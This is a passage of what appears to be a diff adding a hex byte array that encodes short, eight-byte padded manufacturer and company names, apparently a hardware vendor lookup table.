0x6f, 0x00, 0x00, +0x4b, 0x65, 0x6e, 0x74, 0x6b, 0x61, 0x72, 0x74, +0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x41, 0x53, 0x69, 0x73, 0x74, 0x65, 0x6c, +0x48, 0x61, 0x69, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x73, 0x6f, +0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x4c, 0x61, +0x43, 0x79, 0x62, 0x65, 0x72, 0x74, 0x65, 0x6c, +0x52, 0x74, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x54, 0x61, 0x62, 0x6c, 0x65, 0x74, 0x6f, 0x70, +0x4c, 0x6f, 0x6b, 0x65, 0x6c, 0x53, 0x52, 0x4f, +0x4c, 0x75, 0x6d, 0x61, 0x48, 0x6f, 0x6d, 0x65, +0x48, 0x75, 0x6d, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x43, 0x6e, 0x65, 0x78, 0x4c, 0x61, 0x62, 0x73, +0x41, 0x6c, 0x6c, 0x69, 0x73, 0x43, 0x6f, 0x6d, +0x46, 0x72, 0x53, 0x61, 0x75, 0x74, 0x65, 0x72, +0x45, 0x64, 0x69, 0x66, 0x69, 0x65, 0x72, 0x49, +0x41, 0x7a, 0x72, 0x6f, 0x61, 0x64, 0x54, 0x65, +0x50, 0x61, 0x6c, 0x6c, 0x61, 0x64, 0x69, 0x75, +0x54, 0x68, 0x65, 0x62, 0x65, 0x6e, 0x00, 0x00, +0x47, 0x72, 0x69, 0x64, 0x77, 0x69, 0x7a, 0x00, +0x54, 0x65, 0x63, 0x68, 0x72, 0x6f, 0x75, 0x74, +0x43, 0x64, 0x79, 0x6e, 0x65, 0x00, 0x00, 0x00, +0x58, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x50, 0x6f, +0x55, 0x63, 0x7a, 0x6f, 0x6f, 0x6e, 0x54, 0x65, +0x5a, 0x65, 0x6b, 0x74, 0x6f, 0x72, 0x00, 0x00, +0x51, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x00, 0x00, +0x46, 0x65, 0x69, 0x74, 0x69, 0x61, 0x6e, 0x55, +0x4e, 0x69, 0x63, 0x42, 0x72, 0x2d, 0x4e, 0x75, +0x44, 0x65, 0x6c, 0x70, 0x68, 0x69, 0x6e, 0x54, +0x4e, 0x65, 0x77, 0x53, 0x69, 0x6e, 0x67, 0x75, +0x4f, 0x72, 0x61, 0x69, 0x6d, 0x6f, 0x54, 0x65, +0x52, 0x53, 0x74, 0x61, 0x68, 0x6c, 0x48, 0x6d, +0x43, 0x68, 0x65, 0x65, 0x72, 0x73, 0x74, 0x61, +0x53, 0x70, 0x65, 0x63, 0x6f, 0x54, 0x65, 0x63, +0x53, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x48, +0x41, 0x74, 0x6f, 0x6d, 0x6f, 0x73, 0x45, 0x6e, +0x50, 0x6f, 0x73, 0x62, 0x61, 0x6e, 0x6b, 0x00, +0x49, 0x76, 0x76, 0x69, 0x53, 0x63, 0x69, 0x65, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x70, 0x6c, +0x53, 0x69, 0x61, 0x6d, 0x61, 0x00, 0x00, 0x00, +0x54, 0x73, 0x62, 0x52, 0x65, 0x61, 0x6c, 0x54, +0x49, 0x64, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00, +0x44, 0x61, 0x69, 0x6b, 0x69, 0x6e, 0x41, 0x69, +0x52, 0x72, 0x61, 0x6d, 0x61, 0x63, 0x00, 0x00, +0x56, 0x6f, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x51, +0x4d, 0x69, 0x64, 0x6e, 0x69, 0x74, 0x65, 0x53, +0x45, 0x6c, 0x74, 0x65, 0x78, 0x61, 0x6c, 0x61, +0x49, 0x34, 0x76, 0x69, 0x6e, 0x65, 0x00, 0x00, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x72, 0x45, 0x48, +0x43, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x74, 0x65, +0x4d, 0x70, 0x6c, 0x75, 0x73, 0x54, 0x65, 0x63, +0x42, 0x75, 0x77, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x53, 0x61, 0x70, 0x6c, 0x69, 0x6e, 0x67, 0x00, +0x47, 0x61, 0x66, 0x61, 0x63, 0x68, 0x69, 0x00, +0x43, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x61, 0x73, 0x79, 0x44, 0x69, 0x67, 0x69, +0x4c, 0x69, 0x70, 0x74, 0x65, 0x6c, 0x53, 0x52, +0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x56, 0x61, +0x46, 0x6f, 0x72, 0x69, 0x63, 0x73, 0x45, 0x6c, +0x4e, 0x65, 0x77, 0x62, 0x72, 0x69, 0x64, 0x67, +0x53, 0x75, 0x79, 0x69, 0x6e, 0x00, 0x00, 0x00, +0x4b, 0x69, 0x6e, 0x65, 0x74, 0x65, 0x6b, 0x53, +0x46, 0x61, 0x63, 0x74, 0x73, 0x45, 0x6e, 0x67, +0x53, 0x61, 0x6e, 0x64, 0x73, 0x74, 0x6f, 0x6e, +0x45, 0x79, 0x65, 0x64, 0x72, 0x6f, 0x47, 0x72, +0x53, 0x7a, 0x44, 0x6a, 0x69, 0x54, 0x65, 0x63, +0x43, 0x69, 0x68, 0x6f, 0x6c, 0x61, 0x73, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x65, 0x6e, +0x41, 0x6f, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x64, 0x69, 0x66, 0x6c, 0x6f, 0x77, +0x49, 0x73, 0x65, 0x70, 0x6f, 0x73, 0x00, 0x00, +0x41, 0x74, 0x6d, 0x61, 0x63, 0x61, 0x45, 0x6c, +0x56, 0x65, 0x6c, 0x6f, 0x64, 0x79, 0x6e, 0x65, +0x48, 0x65, 0x6c, 0x69, 0x75, 0x6d, 0x00, 0x00, +0x47, 0x6b, 0x77, 0x61, 0x72, 0x65, 0x45, 0x4b, +0x53, 0x6f, 0x6c, 0x61, 0x64, 0x69, 0x67, 0x6d, +0x41, 0x76, 0x65, 0x72, 0x79, 0x57, 0x65, 0x69, +0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x69, 0x74, +0x4b, 0x61, 0x65, 0x6c, 0x4d, 0x68, 0x65, 0x00, +0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x54, 0x65, +0x53, 0x65, 0x6e, 0x74, 0x72, 0x75, 0x73, 0x47, +0x44, 0x73, 0x73, 0x64, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x79, 0x73, +0x56, 0x75, 0x7a, 0x69, 0x78, 0x2f, 0x4c, 0x65, +0x47, 0x76, 0x69, 0x53, 0x65, 0x63, 0x75, 0x72, +0x48, 0x69, 0x70, 0x61, 0x64, 0x49, 0x6e, 0x74, +0x56, 0x69, 0x76, 0x6f, 0x6e, 0x69, 0x63, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x73, 0x77, 0x69, +0x4d, 0x65, 0x72, 0x63, 0x68, 0x61, 0x6e, 0x64, +0x4b, 0x75, 0x6e, 0x74, 0x65, 0x6e, 0x67, 0x00, +0x41, 0x74, 0x68, 0x53, 0x79, 0x73, 0x74, 0x65, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x69, 0x63, +0x45, 0x6c, 0x62, 0x65, 0x72, 0x53, 0x72, 0x6c, +0x50, 0x6c, 0x75, 0x6d, 0x65, 0x44, 0x65, 0x73, +0x50, 0x68, 0x6f, 0x72, 0x75, 0x73, 0x00, 0x00, +0x44, 0x65, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x45, +0x52, 0x6f, 0x56, 0x65, 0x52, 0x4c, 0x61, 0x62, +0x4e, 0x65, 0x78, 0x74, 0x6c, 0x61, 0x70, 0x00, +0x45, 0x77, 0x6d, 0x48, 0x69, 0x67, 0x68, 0x74, +0x4d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x6e, 0x6f, +0x4f, 0x6e, 0x53, 0x65, 0x6d, 0x69, 0x63, 0x6f, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x47, 0x72, +0x50, 0x68, 0x79, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x54, 0x72, 0x79, 0x6d, 0x75, 0x73, 0x00, 0x00, +0x41, 0x69, 0x72, 0x73, 0x63, 0x61, 0x70, 0x65, +0x41, 0x62, 0x6c, 0x6f, 0x6f, 0x6d, 0x79, 0x00, +0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x43, 0x61, +0x56, 0x69, 0x73, 0x68, 0x61, 0x6c, 0x54, 0x65, +0x54, 0x7a, 0x75, 0x6b, 0x75, 0x72, 0x69, 0x50, +0x52, 0x65, 0x61, 0x6c, 0x61, 0x6e, 0x64, 0x42, +0x51, 0x75, 0x61, 0x74, 0x69, 0x75, 0x73, 0x00, +0x45, 0x73, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x48, 0x6e, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x68, 0x69, 0x6e, 0x73, 0x65, 0x69, 0x45, +0x53, 0x69, 0x6e, 0x6f, 0x2d, 0x54, 0x65, 0x6c, +0x55, 0x6e, 0x69, 0x73, 0x65, 0x6d, 0x00, 0x00, +0x41, 0x79, 0x6c, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x4a, 0x61, 0x62, 0x6c, 0x6f, 0x63, 0x6f, 0x6d, +0x54, 0x72, 0x61, 0x6e, 0x77, 0x6f, 0x54, 0x65, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x76, 0x65, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x57, 0x61, 0x79, +0x43, 0x72, 0x75, 0x2d, 0x44, 0x61, 0x74, 0x61, +0x54, 0x65, 0x72, 0x75, 0x6d, 0x6f, 0x00, 0x00, +0x57, 0x6f, 0x6f, 0x72, 0x69, 0x73, 0x79, 0x73, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x50, 0x61, 0x6c, +0x43, 0x45, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x4e, 0x65, 0x77, 0x4c, 0x69, 0x67, 0x68, 0x74, +0x50, 0x65, 0x74, 0x72, 0x61, 0x00, 0x00, 0x00, +0x54, 0x61, 0x7a, 0x74, 0x61, 0x67, 0x00, 0x00, +0x50, 0x6c, 0x75, 0x72, 0x69, 0x62, 0x75, 0x73, +0x48, 0x65, 0x78, 0x69, 0x75, 0x6d, 0x54, 0x65, +0x48, 0x65, 0x6c, 0x69, 0x6f, 0x73, 0x70, 0x65, +0x44, 0x69, 0x67, 0x69, 0x62, 0x72, 0x61, 0x73, +0x44, 0x6f, 0x77, 0x73, 0x6c, 0x61, 0x6b, 0x65, +0x58, 0x6f, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x41, 0x6c, 0x6c, 0x42, 0x65, 0x73, 0x74, 0x49, +0x53, 0x65, 0x75, 0x6e, 0x67, 0x69, 0x6c, 0x45, +0x44, 0x65, 0x78, 0x69, 0x6e, 0x00, 0x00, 0x00, +0x42, 0x69, 0x74, 0x77, 0x61, 0x76, 0x65, 0x50, +0x45, 0x2d, 0x43, 0x6f, 0x6e, 0x49, 0x6e, 0x64, +0x45, 0x78, 0x61, 0x62, 0x6c, 0x61, 0x7a, 0x65, +0x46, 0x65, 0x69, 0x74, 0x69, 0x61, 0x6e, 0x54, +0x43, 0x61, 0x6c, 0x64, 0x69, 0x67, 0x69, 0x74, +0x44, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, +0x4c, 0x65, 0x6e, 0x75, 0x73, 0x00, 0x00, 0x00, +0x48, 0x79, 0x75, 0x6e, 0x6a, 0x69, 0x6e, 0x43, +0x4c, 0x6f, 0x6e, 0x67, 0x42, 0x65, 0x6e, 0x44, +0x46, 0x72, 0x61, 0x75, 0x73, 0x63, 0x68, 0x65, +0x45, 0x71, 0x75, 0x69, 0x6e, 0x6f, 0x78, 0x50, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x69, 0x67, 0x68, +0x4e, 0x73, 0x66, 0x6f, 0x63, 0x75, 0x73, 0x49, +0x59, 0x61, 0x68, 0x6f, 0x6f, 0x21, 0x4a, 0x61, +0x4e, 0x69, 0x63, 0x6f, 0x6c, 0x65, 0x74, 0x4e, +0x56, 0x65, 0x6c, 0x75, 0x78, 0x00, 0x00, 0x00, +0x43, 0x65, 0x6c, 0x6c, 0x69, 0x65, 0x6e, 0x74, +0x4e, 0x75, 0x76, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4f, +0x48, 0x79, 0x74, 0x65, 0x72, 0x61, 0x43, 0x6f, +0x41, 0x75, 0x74, 0x68, 0x2d, 0x53, 0x65, 0x72, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x44, 0x61, 0x74, +0x47, 0x6f, 0x6f, 0x77, 0x69, 0x54, 0x65, 0x63, +0x41, 0x72, 0x62, 0x69, 0x74, 0x65, 0x72, 0x00, +0x53, 0x68, 0x6f, 0x6f, 0x74, 0x65, 0x72, 0x44, +0x50, 0x68, 0x69, 0x73, 0x6f, 0x6e, 0x45, 0x6c, +0x59, 0x6f, 0x6b, 0x6f, 0x74, 0x61, 0x49, 0x6e, +0x54, 0x65, 0x6b, 0x74, 0x65, 0x6c, 0x69, 0x63, +0x56, 0x67, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x74, 0x72, 0x6f, +0x49, 0x76, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x50, 0x32, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, +0x56, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, +0x4b, 0x6f, 0x6e, 0x65, 0x4f, 0x79, 0x6a, 0x00, +0x4f, 0x6f, 0x6f, 0x53, 0x61, 0x6d, 0x6c, 0x69, +0x4f, 0x6e, 0x65, 0x70, 0x6c, 0x75, 0x73, 0x54, +0x57, 0x6f, 0x6e, 0x64, 0x65, 0x72, 0x6c, 0x61, +0x4a, 0x75, 0x6e, 0x69, 0x4b, 0x6f, 0x72, 0x65, +0x50, 0x6f, 0x6c, 0x79, 0x74, 0x65, 0x63, 0x00, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x50, +0x56, 0x69, 0x76, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x53, 0x64, 0x6a, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x6f, 0x6d, 0x62, 0x69, 0x71, 0x00, 0x00, +0x53, 0x6f, 0x75, 0x74, 0x68, 0x41, 0x66, 0x72, +0x41, 0x78, 0x65, 0x72, 0x72, 0x61, 0x4e, 0x65, +0x4c, 0x61, 0x72, 0x6b, 0x54, 0x65, 0x63, 0x68, +0x53, 0x69, 0x61, 0x54, 0x65, 0x6c, 0x65, 0x73, +0x4b, 0x65, 0x69, 0x74, 0x68, 0x4b, 0x6f, 0x65, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x69, 0x63, 0x61, +0x4f, 0x70, 0x65, 0x6e, 0x70, 0x61, 0x74, 0x74, +0x53, 0x79, 0x73, 0x7a, 0x6f, 0x6e, 0x65, 0x00, +0x53, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x43, 0x6f, +0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x47, 0x72, +0x4b, 0x69, 0x6e, 0x67, 0x6e, 0x65, 0x74, 0x69, +0x41, 0x74, 0x65, 0x6d, 0x65, 0x00, 0x00, 0x00, +0x44, 0x65, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x6f, 0x78, 0x75, 0x57, 0x69, 0x72, 0x65, +0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x77, 0x61, +0x4d, 0x6f, 0x72, 0x69, 0x6f, 0x44, 0x65, 0x6e, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x4d, 0x6f, +0x53, 0x69, 0x62, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x57, 0x6f, 0x6f, 0x72, 0x69, 0x00, 0x00, 0x00, +0x47, 0x65, 0x72, 0x64, 0x65, 0x73, 0x41, 0x6b, +0x4b, 0x69, 0x6e, 0x69, 0x6f, 0x6e, 0x54, 0x65, +0x4b, 0x65, 0x6e, 0x61, 0x64, 0x65, 0x45, 0x6c, +0x41, 0x76, 0x76, 0x61, 0x73, 0x69, 0x00, 0x00, +0x52, 0x6f, 0x6f, 0x6d, 0x72, 0x65, 0x61, 0x64, +0x5a, 0x6f, 0x6e, 0x61, 0x72, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x4e, 0x65, +0x59, 0x61, 0x6e, 0x63, 0x68, 0x65, 0x6e, 0x67, +0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6c, 0x49, +0x4c, 0x75, 0x70, 0x69, 0x6e, 0x65, 0x4c, 0x69, +0x5a, 0x61, 0x6b, 0x6c, 0x61, 0x64, 0x79, 0x45, +0x41, 0x6e, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x52, 0x6f, 0x73, 0x65, 0x77, 0x69, 0x6c, 0x6c, +0x53, 0x75, 0x6e, 0x77, 0x61, 0x76, 0x65, 0x43, +0x49, 0x6e, 0x66, 0x6f, 0x73, 0x69, 0x67, 0x68, +0x42, 0x6c, 0x75, 0x57, 0x69, 0x72, 0x65, 0x6c, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x44, 0x65, 0x6e, +0x44, 0x65, 0x6a, 0x61, 0x69, 0x00, 0x00, 0x00, +0x56, 0x75, 0x62, 0x69, 0x71, 0x4e, 0x65, 0x74, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x43, 0x68, 0x61, +0x54, 0x65, 0x6c, 0x61, 0x64, 0x69, 0x6e, 0x00, +0x44, 0x72, 0x69, 0x76, 0x65, 0x73, 0x63, 0x61, +0x43, 0x6f, 0x75, 0x6e, 0x74, 0x77, 0x69, 0x73, +0x4d, 0x61, 0x67, 0x69, 0x63, 0x49, 0x6e, 0x74, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x44, +0x45, 0x72, 0x65, 0x63, 0x61, 0x00, 0x00, 0x00, +0x42, 0x68, 0x75, 0x75, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x6c, 0x6f, +0x53, 0x70, 0x6e, 0x73, 0x00, 0x00, 0x00, 0x00, +0x50, 0x26, 0x53, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x45, 0x6e, 0x6c, 0x69, 0x67, 0x68, 0x74, 0x65, +0x5a, 0x66, 0x54, 0x72, 0x77, 0x41, 0x75, 0x74, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x72, 0x61, 0x79, +0x5a, 0x79, 0x63, 0x6f, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x6e, 0x67, 0x6c, 0x65, 0x72, 0x4c, 0x61, +0x43, 0x6f, 0x6d, 0x61, 0x70, 0x53, 0x52, 0x4f, +0x57, 0x69, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x70, 0x68, 0x65, 0x74, 0x45, +0x43, 0x65, 0x74, 0x6f, 0x72, 0x79, 0x54, 0x76, +0x57, 0x65, 0x73, 0x74, 0x75, 0x6e, 0x69, 0x74, +0x45, 0x6c, 0x73, 0x2d, 0x47, 0x6d, 0x62, 0x68, +0x59, 0x53, 0x6f, 0x66, 0x74, 0x41, 0x53, 0x00, +0x50, 0x61, 0x6e, 0x64, 0x6f, 0x72, 0x61, 0x4d, +0x49, 0x67, 0x69, 0x4d, 0x6f, 0x62, 0x69, 0x6c, +0x4f, 0x75, 0x74, 0x65, 0x72, 0x6c, 0x69, 0x6e, +0x4f, 0x72, 0x62, 0x6f, 0x74, 0x69, 0x78, 0x00, +0x49, 0x6e, 0x71, 0x4d, 0x6f, 0x62, 0x69, 0x6c, +0x4e, 0x75, 0x6f, 0x78, 0x63, 0x00, 0x00, 0x00, +0x45, 0x64, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, +0x41, 0x65, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x63, 0x69, 0x65, 0x74, 0x79, 0x4f, +0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x00, 0x00, +0x41, 0x74, 0x65, 0x6c, 0x69, 0x65, 0x72, 0x56, +0x48, 0x6f, 0x6e, 0x67, 0x68, 0x61, 0x6f, 0x4d, +0x42, 0x73, 0x68, 0x48, 0x61, 0x75, 0x73, 0x67, +0x44, 0x61, 0x74, 0x65, 0x63, 0x73, 0x00, 0x00, +0x52, 0x66, 0x49, 0x64, 0x65, 0x61, 0x73, 0x00, +0x46, 0x75, 0x74, 0x75, 0x72, 0x61, 0x4d, 0x6f, +0x49, 0x6e, 0x65, 0x73, 0x61, 0x45, 0x6c, 0x65, +0x57, 0x61, 0x74, 0x65, 0x72, 0x66, 0x75, 0x72, +0x41, 0x63, 0x74, 0x4b, 0x64, 0x65, 0x00, 0x00, +0x42, 0x2d, 0x50, 0x6c, 0x75, 0x73, 0x00, 0x00, +0x4f, 0x63, 0x74, 0x6f, 0x70, 0x75, 0x73, 0x00, +0x4d, 0x69, 0x6e, 0x65, 0x53, 0x69, 0x74, 0x65, +0x55, 0x54, 0x65, 0x6b, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x69, 0x73, +0x50, 0x72, 0x6f, 0x73, 0x79, 0x73, 0x44, 0x65, +0x4e, 0x61, 0x6e, 0x74, 0x6f, 0x6e, 0x67, 0x43, +0x4f, 0x70, 0x77, 0x69, 0x6c, 0x6c, 0x54, 0x65, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x73, 0x74, +0x55, 0x6e, 0x67, 0x6c, 0x61, 0x75, 0x62, 0x65, +0x4c, 0x69, 0x6e, 0x6b, 0x74, 0x65, 0x6c, 0x54, +0x41, 0x6e, 0x67, 0x73, 0x74, 0x72, 0x65, 0x6d, +0x59, 0x6f, 0x64, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x41, 0x6c, 0x6f, 0x6e, 0x67, 0x49, 0x6e, 0x64, +0x52, 0x65, 0x64, 0x66, 0x6c, 0x6f, 0x77, 0x00, +0x4f, 0x62, 0x6a, 0x65, 0x74, 0x69, 0x76, 0x6f, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x70, +0x47, 0x65, 0x6f, 0x66, 0x72, 0x65, 0x6e, 0x7a, +0x49, 0x70, 0x61, 0x73, 0x73, 0x00, 0x00, 0x00, +0x4f, 0x70, 0x65, 0x6e, 0x43, 0x6f, 0x6e, 0x6e, +0x32, 0x35, 0x67, 0x45, 0x74, 0x68, 0x65, 0x72, +0x52, 0x62, 0x68, 0x41, 0x63, 0x63, 0x65, 0x73, +0x45, 0x74, 0x68, 0x65, 0x72, 0x74, 0x72, 0x6f, +0x47, 0x65, 0x6d, 0x61, 0x74, 0x69, 0x63, 0x61, +0x44, 0x69, 0x67, 0x69, 0x71, 0x75, 0x65, 0x73, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x58, +0x4a, 0x64, 0x63, 0x54, 0x65, 0x63, 0x68, 0x00, +0x45, 0x72, 0x68, 0x61, 0x72, 0x64, 0x74, 0x2b, +0x4e, 0x61, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x53, 0x68, 0x6f, 0x74, 0x74, 0x72, 0x61, 0x63, +0x44, 0x65, 0x63, 0x61, 0x74, 0x75, 0x72, 0x45, +0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6c, 0x54, 0x65, +0x41, 0x69, 0x6e, 0x73, 0x77, 0x6f, 0x72, 0x74, +0x4f, 0x6f, 0x6f, 0x4e, 0x70, 0x70, 0x53, 0x79, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x69, 0x6e, 0x6b, +0x42, 0x26, 0x42, 0x45, 0x78, 0x70, 0x6f, 0x72, +0x49, 0x6e, 0x64, 0x69, 0x65, 0x6f, 0x6e, 0x54, +0x4d, 0x61, 0x67, 0x69, 0x63, 0x6a, 0x61, 0x63, +0x4d, 0x61, 0x72, 0x6b, 0x69, 0x6e, 0x67, 0x53, +0x53, 0x6f, 0x75, 0x6e, 0x64, 0x68, 0x61, 0x77, +0x4b, 0x65, 0x4b, 0x6e, 0x65, 0x73, 0x74, 0x65, +0x4e, 0x69, 0x6d, 0x62, 0x75, 0x73, 0x44, 0x61, +0x5a, 0x61, 0x70, 0x70, 0x77, 0x61, 0x72, 0x65, +0x41, 0x6e, 0x74, 0x65, 0x78, 0x45, 0x6c, 0x65, +0x4f, 0x32, 0x6f, 0x6e, 0x65, 0x73, 0x00, 0x00, +0x42, 0x69, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x56, 0x6f, 0x73, 0x73, 0x6c, 0x6f, 0x68, 0x2d, +0x54, 0x68, 0x69, 0x72, 0x64, 0x4d, 0x69, 0x6c, +0x4c, 0x61, 0x6d, 0x70, 0x65, 0x78, 0x45, 0x6c, +0x41, 0x63, 0x6c, 0x69, 0x6d, 0x61, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x72, 0x65, 0x70, 0x6f, 0x72, +0x5a, 0x68, 0x69, 0x59, 0x75, 0x61, 0x6e, 0x45, +0x52, 0x69, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x48, +0x50, 0x65, 0x6e, 0x67, 0x75, 0x69, 0x6e, 0x43, +0x43, 0x6f, 0x72, 0x65, 0x4c, 0x6f, 0x67, 0x69, +0x53, 0x74, 0x65, 0x72, 0x65, 0x6f, 0x74, 0x61, +0x4e, 0x6f, 0x76, 0x61, 0x72, 0x00, 0x00, 0x00, +0x45, 0x7a, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x54, +0x4d, 0x69, 0x74, 0x73, 0x75, 0x62, 0x61, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6e, 0x69, +0x4f, 0x74, 0x75, 0x73, 0x54, 0x65, 0x63, 0x68, +0x53, 0x61, 0x6e, 0x6c, 0x6f, 0x67, 0x69, 0x63, +0x49, 0x6e, 0x73, 0x70, 0x75, 0x72, 0x45, 0x6c, +0x59, 0x61, 0x6f, 0x6a, 0x69, 0x6e, 0x54, 0x65, +0x53, 0x63, 0x61, 0x6c, 0x79, 0x73, 0x00, 0x00, +0x56, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x69, 0x6e, +0x4e, 0x69, 0x6d, 0x62, 0x6c, 0x65, 0x53, 0x74, +0x45, 0x64, 0x61, 0x6d, 0x49, 0x6e, 0x66, 0x6f, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x61, 0x63, +0x56, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x78, 0x00, +0x48, 0x75, 0x62, 0x62, 0x65, 0x6c, 0x6c, 0x42, +0x4b, 0x7a, 0x42, 0x72, 0x6f, 0x61, 0x64, 0x62, +0x57, 0x65, 0x62, 0x61, 0x73, 0x74, 0x6f, 0x53, +0x53, 0x6f, 0x6e, 0x79, 0x56, 0x69, 0x64, 0x65, +0x41, 0x6e, 0x68, 0x75, 0x69, 0x43, 0x6f, 0x6d, +0x4c, 0x61, 0x6e, 0x64, 0x61, 0x75, 0x65, 0x72, +0x44, 0x69, 0x76, 0x75, 0x73, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x48, 0x61, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x6b, 0x44, +0x57, 0x69, 0x6e, 0x67, 0x53, 0x69, 0x6e, 0x67, +0x50, 0x72, 0x6f, 0x6d, 0x65, 0x74, 0x68, 0x65, +0x4d, 0x6f, 0x64, 0x63, 0x61, 0x6d, 0x00, 0x00, +0x53, 0x6f, 0x75, 0x6e, 0x64, 0x34, 0x00, 0x00, +0x4e, 0x65, 0x72, 0x61, 0x54, 0x65, 0x6c, 0x65, +0x56, 0x69, 0x6c, 0x6c, 0x69, 0x67, 0x65, 0x72, +0x47, 0x61, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x4d, 0x6f, 0x6f, 0x72, 0x65, 0x64, 0x6f, 0x6c, +0x4e, 0x61, 0x6e, 0x6f, 0x70, 0x74, 0x69, 0x78, +0x4d, 0x70, 0x62, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x46, 0x61, 0x74, 0x65, 0x6b, 0x41, 0x75, 0x74, +0x30, 0x31, 0x64, 0x62, 0x2d, 0x4d, 0x65, 0x74, +0x45, 0x61, 0x73, 0x74, 0x63, 0x6f, 0x6d, 0x70, +0x44, 0x65, 0x77, 0x61, 0x76, 0x54, 0x65, 0x63, +0x50, 0x6f, 0x69, 0x6e, 0x64, 0x75, 0x73, 0x00, +0x4d, 0x75, 0x73, 